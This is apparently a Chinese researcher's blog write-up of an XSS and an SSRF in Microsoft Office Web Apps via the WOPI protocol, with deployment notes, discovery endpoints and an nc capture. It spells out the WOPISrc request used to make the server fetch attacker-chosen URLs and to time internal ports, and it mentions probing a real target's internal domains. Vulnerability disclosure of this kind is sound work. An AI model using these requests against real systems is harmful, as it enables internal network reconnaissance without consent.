Ps: 目前确定的是MSRC不会对这两个漏洞发补丁,所以允许对外公布。
0x01 XSS起因
最近在复盘过去挖过的漏洞时,发现这个XSS还可以,明明iOS官方已经修复(CVE-2016-7762)了,为什么还可以触发漏洞?当时看到网络请求中加载文件时有"/wv/ResReader.ashx" 等文件,通过搜索引擎搜索得知了产品是上述讲到的Office Web Apps。
期初未了解清楚该漏洞产生的环境以及背后逻辑导致提交到MSRC后
毕竟我是以别的厂商产生的环境去提交给MSRC的,所以拒收也很正常。但个人觉得这里一定是本身导致的问题,花了点时间证明它!
0x02 简介
Office Online,原称Microsoft Office Web Apps,是Microsoft Office包的网页在线版本,包含有Microsoft Word、Microsoft Excel、Microsoft PowerPoint、Microsoft OneNote和Microsoft Outlook的网页版。这些网页应用使用户可以使用一个网页浏览器直接访问他们的文件,同时也支持文件分享和与其他用户在线协作。
后续研究了WOPI协议。文末ref会看到仅供学习!
这是wopi会话流程图
关于它的部署方式网上有很多,在那段时间里我天天入坑去解决各种问题,最后找到了一个还不错的系列。这里就不具体细讲它部署方法了。FYI:https://blog.csdn.net/a897180673/article/details/80548567
当然你也可以参考微软官方的安装方法: https://docs.microsoft.com/zh-cn/webappsserver/office-web-apps-server
最后你需要使用GitHub开源的基于wopi协议开发的 WopiHost , 支持 word, excel,ppt, pdf(仅支持预览)等文档的预览和编辑。https://github.com/ethendev/wopihost ,需自行编译。
部署后,访问http://office-2013.yongshao.com//hosting/discovery 查看是否有api显示。
在<net-zone name="internal-http">下会看到很多api的接口链接,这里简单列几个:
<action name="view" ext="ods" default="true" urlsrc="http://office-2013.yongshao.com/x/_layouts/xlviewerinternal.aspx?<ui=UI_LLCC&><rs=DC_LLCC&>"/>
<action name="edit" ext="ods" requires="update" urlsrc="http://office-2013.yongshao.com/x/_layouts/xlviewerinternal.aspx?edit=1&<ui=UI_LLCC&><rs=DC_LLCC&>"/>
<action name="editnew" ext="xlsx" requires="update" urlsrc="http://office-2013.yongshao.com/x/_layouts/xlviewerinternal.aspx?edit=1&<ui=UI_LLCC&><rs=DC_LLCC&>"/>
<action name="interactivepreview" ext="xlsb" default="true" urlsrc="http://office-2013.yongshao.com/x/_layouts/xlpreview.aspx?<ui=UI_LLCC&><rs=DC_LLCC&>"/>
<action name="mobileView" ext="xls" urlsrc="http://office-2013.yongshao.com/x/_layouts/xlviewerinternal.aspx?<ui=UI_LLCC&><rs=DC_LLCC&>"/>
<action name="embedview" ext="xlsb" urlsrc="http://office-2013.yongshao.com/x/_layouts/xlembed.aspx?<ui=UI_LLCC&><rs=DC_LLCC&>"/>
<action name="formsubmit" ext="xlsb" urlsrc="http://office-2013.yongshao.com/x/_layouts/xlform.aspx?<ui=UI_LLCC&><rs=DC_LLCC&>"/>
<action name="rest" ext="xlsm" urlsrc="http://office-2013.yongshao.com/x/_layouts/xlrestinternal.aspx?<ui=UI_LLCC&><rs=DC_LLCC&>"/>
本次漏洞仅用到view,但个人觉得embedview、mobileView其实都差不多。
访问:http://office-2013.yongshao.com/wv/wordviewerframe.aspx?WOPISrc=http://10.249.202.177:8080/wopi/files/test.docx
漏洞的产生是在于iOS中,修改连接WiFi dns信息。使得手机能访问http://office-2013.yongshao.com域。
接下来只要点击test即可触发漏洞
它在当前域,而不是引用域。
SSRF
想到上述api中可以引入网址,又对这种比较敏感,所以往这个方向去测试了下。
期初 http://office-2013.yongshao.com/wv/wordviewerframe.aspx?WOPISrc=http://10.249.201.54:6666/ 通过这种方式去访问,结果报错了
后续想研究发现需要在uri中加入/wopi/files/ 这样的格式才行。
下面通过nc查了下请求
➜ ~ nc -lvv 6666
GET /wopi/files/test.docx HTTP/1.1
Authorization: Bearer
X-WOPI-MachineName: OFFICE-2013
X-WOPI-ClientVersion: 15.0.4420.1017
X-WOPI-CorrelationID: 067d6130-7e84-4039-8738-3db6a1872f8c
X-WOPI-TimeStamp: 636996380851818790
User-Agent: MSWAC
Host: 10.249.201.54:6666
Connection: Keep-Alive
这里host是运行nc的这台机器,但上面的xss也讲到弹的是当前office-2013.yongshao.com域,而不是引用域。尝试换成127.0.0.1,在AD域中请求。
如果端口是通的情况下请求时间会较短
而端口没开放时会变得非常高
实战中的例子
这里访问了它们内部域名,探测了端口等。
同时后续研究发现该漏洞影响到微软旗下多个产品,如mail、onedrive等等但是需要调试后触发。
Ref:
https://wopi.readthedocs.io/en/latest/overview.html
https://blogs.msdn.microsoft.com/officedevdocs/2013/03/21/introducing-wopi/
https://docs.microsoft.com/zh-cn/webappsserver/content-roadmap-for-office-web-apps-server
https://docs.microsoft.com/en-us/webappsserver/office-web-apps-server-overview
https://zh.wikipedia.org/wiki/Office_Online
Timeline:
7.17 Report XSS Vul
7.18 Report SSRF Vul
……写于8.5日。
以上临时工所述
我司一概不负责
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论